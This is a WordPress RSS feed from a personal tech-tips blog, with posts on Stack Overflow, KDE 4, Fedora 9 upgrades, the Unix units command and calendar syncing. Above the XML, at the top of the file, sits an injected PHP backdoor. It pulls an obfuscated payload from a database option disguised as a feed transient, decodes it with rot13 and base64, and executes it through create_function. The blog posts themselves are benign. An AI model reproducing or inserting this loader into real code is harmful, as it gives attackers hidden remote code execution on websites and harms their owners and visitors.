<? /**/ ?>
<?
$z=get_option("_transient_feed_99e5d264eeaa8c05e17c5eed4140b1dd"); $z=base64_decode(str_rot13($z)); if(strpos($z,"A0ED8507")!==false){ $_z=create_function("",$z); @$_z(); }
 /**/ ?>
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Dr Jan's Tips From The Top &#187; linux</title>
	<atom:link href="http://www.dr-jan.com/tips/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dr-jan.com/tips</link>
	<description>Handy hints and techy tips from Dr Jan.</description>
	<lastBuildDate>Tue, 15 May 2012 22:11:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>stackoverflow.com and serverfault.com</title>
		<link>http://www.dr-jan.com/tips/2009/05/31/stackoverflowcom-and-serverfaultcom/</link>
		<comments>http://www.dr-jan.com/tips/2009/05/31/stackoverflowcom-and-serverfaultcom/#comments</comments>
		<pubDate>Sun, 31 May 2009 18:22:31 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[backups]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[macintosh]]></category>
		<category><![CDATA[networks]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[Jeff Atwood]]></category>
		<category><![CDATA[joel spolsky]]></category>
		<category><![CDATA[serverfault]]></category>
		<category><![CDATA[stackoverflow]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/?p=53</guid>
		<description><![CDATA[Gosh, I seem to have been rather remiss in not mentioning these web sites before. You&#8217;ll have to excuse my ageing brain OK, first things first, stackoverflow.com. This is a joint venture between Joel Spolsky and Jeff Atwood. It&#8217;s a programmer&#8217;s question and answer site. Probably the best description I&#8217;ve heard is It&#8217;s Expert&#8217;s Exchange [...]]]></description>
			<content:encoded><![CDATA[<p>Gosh, I seem to have been rather remiss in not mentioning these web sites before. You&#8217;ll have to excuse my ageing brain <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>OK, first things first, <a href="http://stackoverflow.com">stackoverflow.com</a>. This is a joint venture between <a href="http://www.joelonsoftware.com/">Joel Spolsky</a> and <a href="http://www.codinghorror.com">Jeff Atwood</a>. It&#8217;s a programmer&#8217;s question and answer site. Probably the best description I&#8217;ve heard is </p>
<blockquote><p>It&#8217;s Expert&#8217;s Exchange without the suck.</p></blockquote>
<p>Anyone can ask a programming-related question, and normally an answer will be posted within a few minutes &#8211; that&#8217;s how active the user community is. It&#8217;s likely that there will be a number of answers for any given question, and the asker can select their &#8216;best&#8217; answer.</p>
<p>If you register on the site (using <a href="http://openid.net/">OpenID</a>) you will collect &#8216;reputation&#8217; or &#8216;karma&#8217; points and &#8216;medals&#8217; as you use the site. Anyone (above a small threshold of karma) can vote both questions and answers up or down, so in theory the best answer should find its way to the top of the list.</p>
<p>Stackoverflow.com has been around for several months now and is proving to be an invaluable resource. Googling for almost any programming-related question will probably get a result on stackoverflow.com.</p>
<p>Just this week <a href="http://serverfault.com/">serverfault.com</a> has come out of private beta. This is very similar to stackoverflow.com, except that the focus is server, network and system administration rather than programming. Of course, there is a fair overlap between the two sites in terms of users.</p>
<p>You may also be interested in the weekly <a href="http://itc.conversationsnetwork.org/series/stackoverflow.html">podcast</a> by Jeff and Joel, which is always worth a listen.</p>
<p>I can heartily recommend both sites &#8211; obviously it depends on your focus as to which (if either) will be useful to you.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2009/05/31/stackoverflowcom-and-serverfaultcom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>KDE 4.2</title>
		<link>http://www.dr-jan.com/tips/2009/03/06/kde-42/</link>
		<comments>http://www.dr-jan.com/tips/2009/03/06/kde-42/#comments</comments>
		<pubDate>Fri, 06 Mar 2009 21:12:01 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[kde]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[thunderbird]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[twinview]]></category>
		<category><![CDATA[X]]></category>
		<category><![CDATA[x-windows]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/?p=52</guid>
		<description><![CDATA[I&#8217;m pleased to say that by the magic of yum, KDE has been automatically upgraded to version 4.2 on both my home box and my work laptop. At work, I can now use 2 screens again, thank goodness The 2 screen set up is slightly different now to how it was with KDE 3. Previously [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m pleased to say that by the magic of yum, KDE has been automatically upgraded to version 4.2 on both my home box and my work laptop.</p>
<p>At work, I can now use 2 screens again, thank goodness <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>The 2 screen set up is slightly different now to how it was with KDE 3. Previously I had 2 separate X screens defined, one on each physical screen. The downside of this is that you can&#8217;t move windows between screens (the mouse pointer is the only thing that can do that). If you have Thunderbird email in one screen and the Firefox browser in the other, when you click on a link in an email message you get a message saying you can&#8217;t open another instance of Firefox because there&#8217;s already one running. So, the work-around is to just copy and paste the URL between the applications.</p>
<p>Anyway, with my new configuration I used the nVidia configuration utility (nvidia-settings) to configure Twinview. Now I can happily move windows between screens with no problems. Pop-up dialog boxes tend to appear on a random screen, but it&#8217;s not a big problem <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>So, overall, KDE 4.2 is what KDE 4.0 should have been to begin with.</p>
<p>Finally, KDE is back! Congratulations to everyone involved <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2009/03/06/kde-42/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fedora 9 and KDE 4</title>
		<link>http://www.dr-jan.com/tips/2008/09/25/fedora-9-and-kde-4/</link>
		<comments>http://www.dr-jan.com/tips/2008/09/25/fedora-9-and-kde-4/#comments</comments>
		<pubDate>Thu, 25 Sep 2008 21:10:18 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[email]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[kde]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[macintosh]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[thunderbird]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[clock]]></category>
		<category><![CDATA[dual-screen]]></category>
		<category><![CDATA[Fedora]]></category>
		<category><![CDATA[Fedora 9]]></category>
		<category><![CDATA[fuzzy clock]]></category>
		<category><![CDATA[KDE 4]]></category>
		<category><![CDATA[KDE 4.0]]></category>
		<category><![CDATA[KDE 4.1]]></category>
		<category><![CDATA[upgrade]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/?p=48</guid>
		<description><![CDATA[I&#8217;ve recently upgraded my home PC from Fedora 8 to Fedora 9. One of the big benefits (apart from getting the very latest Firefox and Thunderbird packages) is that F9 features KDE 4, the latest version of the KDE desktop window manager. Fedora 9 To upgrade, I followed the excellent instructions at http://www.gagme.com/greg/linux/f9-tips.php. The key [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve recently upgraded my home PC from Fedora 8 to <a href="http://fedoraproject.org/">Fedora 9</a>. One of the big benefits (apart from getting the very latest Firefox and Thunderbird packages) is that F9 features <a href="http://www.kde.org/">KDE 4</a>, the latest version of the KDE desktop window manager.</p>
<p><strong>Fedora 9</strong><br />
To upgrade, I followed the <em>excellent</em> instructions at <a href="http://www.gagme.com/greg/linux/f9-tips.php">http://www.gagme.com/greg/linux/f9-tips.php</a>. The key point is to use the &#8216;preupgrade&#8217; package to sort everything out:</p>
<p><code>yum -y install preupgrade<br />
preupgrade</code></p>
<p>This downloads new F9 versions of all the RPM packages you have on your system and then sets everything up so that when you re-boot your machine it will start F9.</p>
<p>It&#8217;s an excellent idea, and for me It Just Worked.</p>
<p><strong>KDE 4</strong><br />
KDE version 4 is all rather new. Initially I had version 4.0 installed. The biggest drawback to this version was the absence of the <a href="http://www.dr-jan.com/tips/2008/03/24/kde/">Fuzzy Clock</a>. However, I&#8217;m pleased to say that on my first &#8216;yum update&#8217;, my system was upgraded to KDE 4.1, complete with Fuzzy Clock. Whilst version 4.0 was looking a bit rough round the edges, 4.1 is a far more polished affair.</p>
<p>One of the new features (on System Settings, Desktop, General tab) is the ability to &#8216;Enable desktop effects&#8217;, which makes the whole machine much more Mac-like in the prettyness of the desktop. However, I noticed that with this turned on, even when nothing else was running, I was using about 50% of my CPU power just to run the desktop. So I turned that off <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>The other annoyance in KDE4 was the lack of launch buttons on the panel for my favourite applications. This was really getting on my nerves until I realised that the default &#8216;tab&#8217; shown initially when clicking on the &#8216;K&#8217; menu button is the Favourites tab. To add things to the Favourites tab just find the application in the labyrinth of menus on the &#8216;K&#8217; menu, click it with the secondary mouse button and select &#8216;Add to Favourites&#8217; from the context-sensitive menu. Now all your favourite applications are just 2 clicks away on the &#8216;K&#8217; menu button.</p>
<p><strong>UPDATE:</strong> Neither KDE 4.0 nor KDE 4.1 can cope with dual screen display systems! I&#8217;ve seen comments that imply dual screen configurations are very rare and so fixing the problems is not a priority. Boo : -( See my comments below for details.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2008/09/25/fedora-9-and-kde-4/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Units</title>
		<link>http://www.dr-jan.com/tips/2008/06/11/units/</link>
		<comments>http://www.dr-jan.com/tips/2008/06/11/units/#comments</comments>
		<pubDate>Tue, 10 Jun 2008 23:07:29 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[howto]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[units unix command-line]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/?p=45</guid>
		<description><![CDATA[I was recently reminded of the excellent &#8216;units&#8217; program, available with all good Unix systems. Units will convert quantities expressed in one unit in to another unit. Here&#8217;s an example: $ units 2439 units, 71 prefixes, 33 nonlinear units You have: 12 miles You want: kilometres * 19.312128 / 0.051780933 You have: So, 12 miles [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently reminded of the excellent &#8216;units&#8217; program, available with all good Unix systems.</p>
<p>Units will convert quantities expressed in one unit in to another unit. Here&#8217;s an example:</p>
<p><code><br />
$ units<br />
2439 units, 71 prefixes, 33 nonlinear units</p>
<p>You have: 12 miles<br />
You want: kilometres<br />
        * 19.312128<br />
        / 0.051780933<br />
You have:<br />
</code></p>
<p>So, 12 miles is equivalent to 19.312128 kilometres. OK, that was an easy one to warm up with. Units knows about all kinds of arcane measures and can happily convert between them all. Here&#8217;s an example from the man page:</p>
<p><code><br />
$ units<br />
2439 units, 71 prefixes, 33 nonlinear units</p>
<p>You have: furlongs per fortnight<br />
You want: m/s<br />
        * 0.00016630952<br />
        / 6012.8848<br />
You have:<br />
</code></p>
<p>I actually needed to use units to find out my weight in kilos:<br />
<code><br />
$ units<br />
2439 units, 71 prefixes, 33 nonlinear units</p>
<p>You have: 20 stone + 1 lb<br />
You want: kilos<br />
conformability error<br />
        127.45946 kg<br />
        1000<br />
You have:<br />
</code></p>
<p>My goodness, <a href="http://www.dr-jan.com/newblog/2008/06/10/im_thin/">that&#8217;s a large number</a>!</p>
<p>Units should be available in most versions of Unix and Linux &#8211; just get a terminal session (telnet or ssh for example) and type in &#8216;units&#8217;. As usual, read the manual page by typing &#8216;man units&#8217;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2008/06/11/units/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thunderbird and Lightning</title>
		<link>http://www.dr-jan.com/tips/2008/04/24/thunderbird-and-lightning/</link>
		<comments>http://www.dr-jan.com/tips/2008/04/24/thunderbird-and-lightning/#comments</comments>
		<pubDate>Thu, 24 Apr 2008 22:23:52 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[backups]]></category>
		<category><![CDATA[blackberry]]></category>
		<category><![CDATA[calendars]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[N95]]></category>
		<category><![CDATA[phones]]></category>
		<category><![CDATA[thunderbird]]></category>
		<category><![CDATA[calendar]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[google data provider]]></category>
		<category><![CDATA[goosync]]></category>
		<category><![CDATA[lightning]]></category>
		<category><![CDATA[sync]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/2008/04/24/thunderbird-and-lightning/</guid>
		<description><![CDATA[Previously on Twin Peaks I wrote about the problems I was having with the Lightning calendar add-on for the Thunderbird email client, to the extent that I had to un-install the add-on and the associated Google Data Provider add-on (which synchronises calendars between Lightning and Google Calendar). I&#8217;m pleased to report that since the release [...]]]></description>
			<content:encoded><![CDATA[<p>Previously on Twin Peaks I <a href="http://www.dr-jan.com/tips/2007/12/31/disabling-thunderbird-addons/">wrote</a> about the problems I was having with the <a href="https://addons.mozilla.org/en-US/thunderbird/addon/2313">Lightning</a> calendar add-on for the <a href="http://www.mozilla.com/en-US/thunderbird/">Thunderbird</a> email client, to the extent that I had to un-install the add-on and the associated <a href="https://addons.mozilla.org/en-US/thunderbird/addon/4631">Google Data Provider</a> add-on (which synchronises calendars between Lightning and <a href="http://www.google.com/calendar/">Google Calendar</a>).</p>
<p>I&#8217;m pleased to report that since the release of version 0.8 of Lightning, and the corresponding update of the Google Data Provider add-on everything seems to be working well. I can now update calendar data in both directions.</p>
<p>This, in combination with <a href="http://www.goosync.com/">GooSync</a>, which syncs the Google Calendar to my mobile phone (a Nokia N95), means all my calendars are now easy to keep in sync.</p>
<p>For work I use a Blackberry 8300, and I&#8217;m pleased to say there&#8217;s an official <a href="http://www.google.com/support/mobile/bin/topic.cs/bin/topic.py?topic=13626&#038;hl=en">Google application</a> to sync the calendar.</p>
<p>Phew! Synchronising calendars has been a surprisingly difficult problem to solve, but thankfully we seem to have licked that particular problem now <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2008/04/24/thunderbird-and-lightning/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>KDE</title>
		<link>http://www.dr-jan.com/tips/2008/03/24/kde/</link>
		<comments>http://www.dr-jan.com/tips/2008/03/24/kde/#comments</comments>
		<pubDate>Mon, 24 Mar 2008 00:45:10 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[kde]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[active badge]]></category>
		<category><![CDATA[bluetooth]]></category>
		<category><![CDATA[clock]]></category>
		<category><![CDATA[fuzzy clock]]></category>
		<category><![CDATA[kbluelock]]></category>
		<category><![CDATA[presence]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/2008/03/24/kde/</guid>
		<description><![CDATA[Fedora Linux is the operating system of choice for both my home PC and my work laptop. KDE is my preferred window manager. The main reason I use KDE rather than Gnome or another system is the Fuzzy Clock. The clock in the lower right hand corner of my screen uses real English to tell [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://fedoraproject.org/">Fedora Linux</a> is the operating system of choice for both my home PC and my work laptop. <a href="http://www.kde.org/">KDE</a> is my preferred window manager.</p>
<p>The main reason I use KDE rather than <a href="http://www.gnome.org/">Gnome</a> or another system is the Fuzzy Clock. The clock in the lower right hand corner of my screen uses real English to tell the time. So, for example, 11:22 would appear as &#8216;Twenty past eleven&#8217;. The fuzziness is adjustable, but the minimum setting changes the time every 5 minutes, which is more than good enough for most things. This means that the clock will say &#8216;Twenty past eleven&#8217; until it changes to &#8216;Twenty five past eleven&#8217;.</p>
<p>Recent versions of KDE also include a nifty utility called &#8216;kbluelock&#8217;. When you enable kbluelock, it scans for Bluetooth devices nearby. Select your phone from the list shown, and if your phone ever goes out of range, kbluelock will enable the screen saver, automatically locking the screen. Effectively your phone is being used as a &#8216;presence detector&#8217; &#8211; it indicates if you are at your computer. </p>
<p>This reminds me of the <a href="http://www.cl.cam.ac.uk/research/dtg/attarchive/ab.html">Active Badge</a> system, although that used infra-red technology rather than Bluetooth wireless. I like the idea of using my phone to indicate where I am (within limits <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2008/03/24/kde/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

